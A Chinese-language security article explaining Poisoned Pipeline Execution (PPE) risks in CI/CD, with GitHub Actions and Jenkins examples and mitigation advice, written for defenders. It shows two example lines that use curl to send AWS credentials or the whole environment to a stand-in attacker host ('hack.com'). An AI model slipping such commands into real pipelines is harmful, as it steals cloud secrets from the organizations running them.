上一篇文章,我们了解了依赖链滥用和基于流水线的访问控制不足这两大安全风险,并给出缓解风险的安全建议。本篇文章将着重介绍 PPE 风险,并提供缓解相关风险的安全建议与实践。

Poisoned Pipeline Execution (PPE) 风险指的是攻击者能够访问源代码控制系统,但无法访问构建环境,通过将恶意代码/命令注入构建流水线配置来操纵构建过程,本质上是“中毒的”流水线和运行恶意代码作为构建过程的一部分。

风险描述

PPE 风险通常存在代码仓库中,可控对应的 CI 管道配置文件,通过修改 CI 配置文件达到执行对应命令的目的。有权操作 CI 配置文件或 CI 流水线任务所依赖的其他文件的攻击者,可以将恶意命令置入这些文件,通过执行这些恶意命令,最终“毒化”执行这些命令的 CI 流水线。执行未经审查的代码的流水线,比如一些直接由拉取请求或提交到任意存储库分支触发的流水线,由于在设计上包含未经任何审查或批准的代码,更容易受到 PPE 风险的影响。一旦能够在 CI 流水线中执行恶意代码,攻击者就可以在流水线身份的上下文中进行各种恶意操作。

PPE 的三种类型

直接 PPE(D-PPE)

在 D-PPE 场景中,攻击者修改他们有权访问的存储库中的 CI 配置文件,通过直接将更改推送到存储库上未受保护的远程分支,在提交 PR 时随着分叉的更改而变化。由于 CI 流水线执行是由“push”或“PR”事件触发的,并且流水线执行是由修改后的 CI 配置文件中的命令定义的,一旦构建流水线被攻击,攻击者的恶意命令最终会在构建节点中运行触发。

间接 PPE(I-PPE)

在以下几种情况下,即便攻击者能够访问 SCM 存储库,也无法使用 D-PPE:

  • 流水线配置为从同一存储库中单独的受保护分支中提取 CI 配置文件。

  • CI 配置文件存储在与源代码不同的存储库中,则用户没有直接编辑它的选项。

  • CI 构建是在 CI 系统本身中定义的——而不是在存储在源代码中的文件中。

在这几种情况下,攻击者就会选择向流水线配置文件引用的文件中注入恶意代码来破坏流水线:

  • make:执行“Makefile”文件中定义的命令。

  • 从流水线配置文件中引用的脚本,与源代码本身存储在同一存储库中(例如, python myscript.py - myscript.py 将被攻击者操纵)。

  • 代码测试:在构建过程中在应用程序代码上运行的测试框架依赖于专用文件,这些文件与源代码本身存储在同一存储库中。能够操纵负责测试的代码的攻击者能够在构建中运行恶意命令。

  • 自动工具:CI 中使用的 Linter 和安全扫描器通常也依赖于存储库中的配置文件。很多时候这些配置涉及从配置文件中定义的位置加载和运行外部代码。

因此,在 I-PPE 中,不同于将恶意命令直接插入流水线定义文件来破坏流水线,攻击者通过将恶意代码注入到配置文件引用的文件中,一旦触发流水线并运行相关文件中声明的命令,恶意代码最终会在流水线节点上执行。

公共 PPE(3PE)

执行 PPE 攻击需要访问托管流水线配置文件的存储库或其引用的文件。大多数情况下,只有开发人员拥有此类许可,也就是说攻击者必须要获得开发工程师对存储库的许可和权限才能执行直接或间接 PPE 攻击。

然而,在一些情况下,互联网上的匿名攻击者可以使用“中毒的” CI 流水线:公共存储库(例如开源项目)通常允许任何用户做出贡献,通过创建拉取请求,建议对代码进行更改。这些项目通常使用 CI 解决方案自动测试和构建,与私有项目类似。如果公共存储库的 CI 流水线运行匿名用户建议的未经审查的代码,它很容易受到公共 PPE 攻击,或者简称为 3PE。如果易受攻击的公共存储库的流水线在与私有存储库相同的 CI 实例上运行,这也会暴露例如私有项目的敏感信息这类的内部资产。

PPE 示例

通过 D-PPE (GitHub Actions) 窃取凭据

在以下示例中,GitHub 存储库与 GitHub Actions 工作流程连接,该工作流程获取代码、构建代码、运行测试并最终将工件部署到 AWS。当新代码被推送到存储库中的远程分支时,代码(包括流水线配置文件)由运行程序(工作流节点)获取。

name: PIPELINE
on: push
jobs:
build:
runs-on: ubuntu-latest steps:
- run: |
echo "building..."
echo "testing..."
echo "deploying..."

在这种情况下,D-PPE 攻击将按如下方式进行:

  1. 攻击者在存储库中创建了一个新的远程分支,在其中使用恶意命令更新流水线配置文件,这些命令旨在访问 GitHub 组织范围内的 AWS 凭证,然后将其发送到远程服务器。
name: PIPELINE
on: push
jobs:
build:
runs-on: ubuntu-latest
steps:
- env:
ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY_ID }}
SECRET_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }} run: |
curl -d creds="$(echo $ACCESS_KEY:$SECRET_KEY | base64 | base64)" hack.com
  1. 推送更新后,将触发从存储库中获取代码的流水线,包括恶意流水线配置文件。

  2. 流水线基于被攻击者“毒化”的配置文件运行。根据攻击者的恶意命令,存储为存储库机密的 AWS 凭证被加载到内存中。

  3. 流水线继续执行攻击者的命令,将 AWS 凭证发送到攻击者控制的服务器。

  4. 攻击者随后能够使用窃取的凭证访问 AWS 生产环境。

通过 Indirect-PPE (Jenkins) 窃取凭证

这个例子展示的是 Jenkins 流水线从存储库中获取代码、构建、运行测试并最终部署到 AWS。在此流水线中,Jenkinsfile 是受保护的,因为是从存储库中的主分支中获取的。因此,攻击者无法操纵构建定义,也无法获取存储在 Jenkins 凭证存储中的机密或在其他节点上运行任务。

然而这并不代表流水线没有风险。在流水线的构建阶段,AWS 凭证作为环境变量加载,使其仅可用于在此阶段运行的命令。在下面的示例中,基于 Makefile 的内容(也存储在存储库中)的make命令作为此阶段的一部分运行。

The Jenkinsfile:


pipeline {
agent any
stages {
stage('build') {
steps {
withAWS(credentials: 'AWS_key', region: 'us-east-1') {
sh 'make build'
sh 'make clean'
}
}
}
stage('test') {
steps {
sh 'go test -v ./...'
...

The Makefile:

 build:
echo "building…" clean:
echo "cleaning…"

在这种情况下,I-PPE 攻击将按如下方式进行:

  • 攻击者在存储库中创建拉取请求,将恶意命令附加到 Makefile 文件中。
build:
curl -d "$$(env)" hack.com clean:
echo "cleaning…"
  • 由于流水线配置为在针对 repo 的任何 PR 时触发,Jenkins 流水线被触发,从存储库中获取代码,包括恶意Makefile。

  • 流水线基于存储在主分支中的配置文件运行。进入构建阶段,如原始 Jenkinsfile 中定义,将 AWS 凭证加载到环境变量中。然后,运行make build命令,该命令执行添加到Makefile中的恶意命令。

  • 执行 Makefile 中定义的恶意构建函数,将 AWS 凭证发送到攻击者控制的服务器。

  • 攻击者随后能够使用窃取的凭证访问 AWS 生产环境。

影响

在成功的 PPE 攻击中,攻击者在 CI 中执行未经审查的恶意代码。这为攻击者提供了与构建任务相同的能力和访问级别,包括:

  • 访问 CI 任务可用的任何机密,比如作为环境变量注入的机密或存储在 CI 中的其他敏感信息。CI/CD 系统负责构建代码和部署工件,通常包含多个如云提供商、工件注册表和 SCM 本身的重要凭证和令牌。

  • 访问任务节点有权访问的外部资产,例如存储在节点文件系统中的文件,或可通过底层主机访问的云环境的凭据。

  • 能够以构建过程构建的合法代码为障眼法,将代码和工件进一步传送到流水线中。

  • 能够访问作业节点的网络/环境中的其他主机和资产。

建议

预防和缓解 PPE 攻击,涉及跨 SCM 和 CI 系统的多项措施:

  • 确保运行未经审查的代码的流水线在隔离节点上执行,不会暴露在机密和敏感环境中。

  • 评估外部贡献者在公共存储库上触发流水线的需求。在可能的情况下,避免运行源自分叉的流水线,并考虑添加控制措施,例如要求手动批准流水线执行。

  • 对于包含敏感信息的流水线,确保配置为触发 CI 系统中的流水线的每个分支,在 SCM 中都有相关的分支保护规则。

  • 为了防止操纵 CI 配置文件在流水线中运行恶意代码,必须在流水线运行之前审查每个 CI 配置文件。或者CI 配置文件可以在远程分支中管理,与包含在流水线中构建的代码的分支分开。远程分支应配置为受保护。

  • 从不需要的用户中删除对 SCM 存储库授予的权限。

  • 每个流水线应该只能访问实现其目的所需的凭据。凭据应具有所需的最低权限。

十大 CI/CD 安全风险(三)的更多相关文章

  1. GitHub 十大 CI 工具

    简评:GitHub 上最受欢迎的 CI 工具. 持续集成(Continuous integration)指的是,频繁地(一天多次)将代码集成到主干. 持续集成工具让产品可以快速迭代,同时还能保持高质量 ...

  2. jenkins-gitlab-harbor-ceph基于Kubernetes的CI/CD运用(三)

    从最基础镜像到业务容器 构建 [为gitlab项目部署做铺垫] 业务镜像设计规划 目录结构 # pwd /data/k8s/app/myapp # tree . . ├── dockerfile │  ...

  3. 如何搭建安全的 CI/CD 管道?

    Eolink 前端负责人黎芷君进行了<工程化- CI / CD>的主题演讲,围绕 CI/CD 管道安全的实践,分享自己在搭建 CI/CD 管道过程中所总结的重要经验,与开发者深入讨论 &q ...

  4. [转] gitlab 的 CI/CD 配置管理

    [From] http://blog.51cto.com/flyfish225/2156602 gitlab 的 CI/CD 配置管理 (二) 标签(空格分隔):运维系列 一:gitlab CI/CD ...

  5. .Net Core自动化部署系列(三):使用GitLab CI/CD 自动部署Api到Docker

    之前写过使用Jenkins实现自动化部署,最近正好没事研究了下GitLab的自动化部署,顺便记录一下. 使用GitLab部署我们需要准备两件事,第一个起码你得有个GitLab,自己搭建或者使用官方的都 ...

  6. 转:OWASP发布Web应用程序的十大安全风险

    Open Web Application Security Project(OWASP)是世界范围内的非盈利组织,关注于提高软件的安全性.它们的使命是使应用软件更加安全,使企业和组织能够对应用安全风险 ...

  7. ASP.NET Core中的OWASP Top 10 十大风险-SQL注入

    不定时更新翻译系列,此系列更新毫无时间规律,文笔菜翻译菜求各位看官老爷们轻喷,如觉得我翻译有问题请挪步原博客地址 本博文翻译自: https://dotnetcoretutorials.com/201 ...

  8. Azure Data Factory(三)集成 Azure Devops 实现CI/CD

    一,引言 由于上一节文章内容过长,无法分享Azure Data Factory 的持续集成,持续发布.今天将着重介绍一下在使用 Azure DevOps Pipeline 发布,自动进行持续集成,并且 ...

  9. 近期关于CI/CD策略以及git分支模型的思考

    近两个月由于个人处于新环境.新项目的适应阶段,没怎么提笔写些文章.中间有好几个想法想记录下来分享,但受限于没有很好的时间段供自己总结思考(也可以总结为间歇性懒癌和剧癌发作),便啥也没有更新.借这个周末 ...

随机推荐

  1. 获取某个html元素相对于视窗的位置集合

    getBoundingClientRect() getBoundingClientRect()获取元素位置,这个方法没有参数 getBoundingClientRect()用于获得页面中某个元素的左, ...

  2. JAVA定时任务原理入门

    本文适用语言:java 序章:定时任务实现方式 当下,java编码过程中,实现定时任务的方式主要以以下两种为主 spring框架的@Scheduled quzrtz框架 网络上关于这两种框架的实践和配 ...

  3. Java开发学习(十九)----AOP环绕通知案例之密码数据兼容处理

    一.需求分析 需求: 对百度网盘分享链接输入密码时尾部多输入的空格做兼容处理. 问题描述: 点击链接,会提示,请输入提取码,如下图所示 当我们从别人发给我们的内容中复制提取码的时候,有时候会多复制到一 ...

  4. 鲜衣怒马散尽千金,Vue3.0+Tornado6前后端分离集成Web3.0之Metamask钱包区块链虚拟货币三方支付功能

    原文转载自「刘悦的技术博客」https://v3u.cn/a_id_219 不得不承认,大多数人并不拥有或者曾经拥有加密货币.是的,Web3.0.加密货币.区块链,对于大多数的互联网用户来说,其实是一 ...

  5. pat链表专题训练+搜索专题

    本期题目包括: 1074:https://pintia.cn/problem-sets/994805342720868352/problems/994805394512134144 1052:http ...

  6. Taurus.MVC 微服务框架 入门开发教程:项目集成:4、默认安全认证与自定义安全认证。

    系列目录: 本系列分为项目集成.项目部署.架构演进三个方向,后续会根据情况调整文章目录. 本系列第一篇:Taurus.MVC V3.0.3 微服务开源框架发布:让.NET 架构在大并发的演进过程更简单 ...

  7. SwiftUI实战教程-土豆List

    代码库 教程中的项目代码都保存在这里:https://gitee.com/KINGWDY_admin/swiftui01 前言 在这一章节中,我们会使用List控件做一个土豆List,实现了列表填充. ...

  8. 【Manim】关于add_updater的基本使用方法

    add_updater(update_function,index=None,call_update=False) 后面两个参数可以不写. update_function更新函数一般填入一个lambd ...

  9. Typora的破解

    Typora是什么? Typora是一款支持实时预览的Markdown文本编辑器.支持即时渲染技术,这也是与其他Markdown编辑器最显著的区别.即时渲染使得你写Markdown就想是写Word文档 ...

  10. docker-compose入门--翻译

    在这一页,你将学习到如何构建一个简单的python的web应用,并通过Docker compose来运行.这个应用程序使用的是Flask框架,并维护着一个存储在reids里的点击计数器.由于这个案例使 ...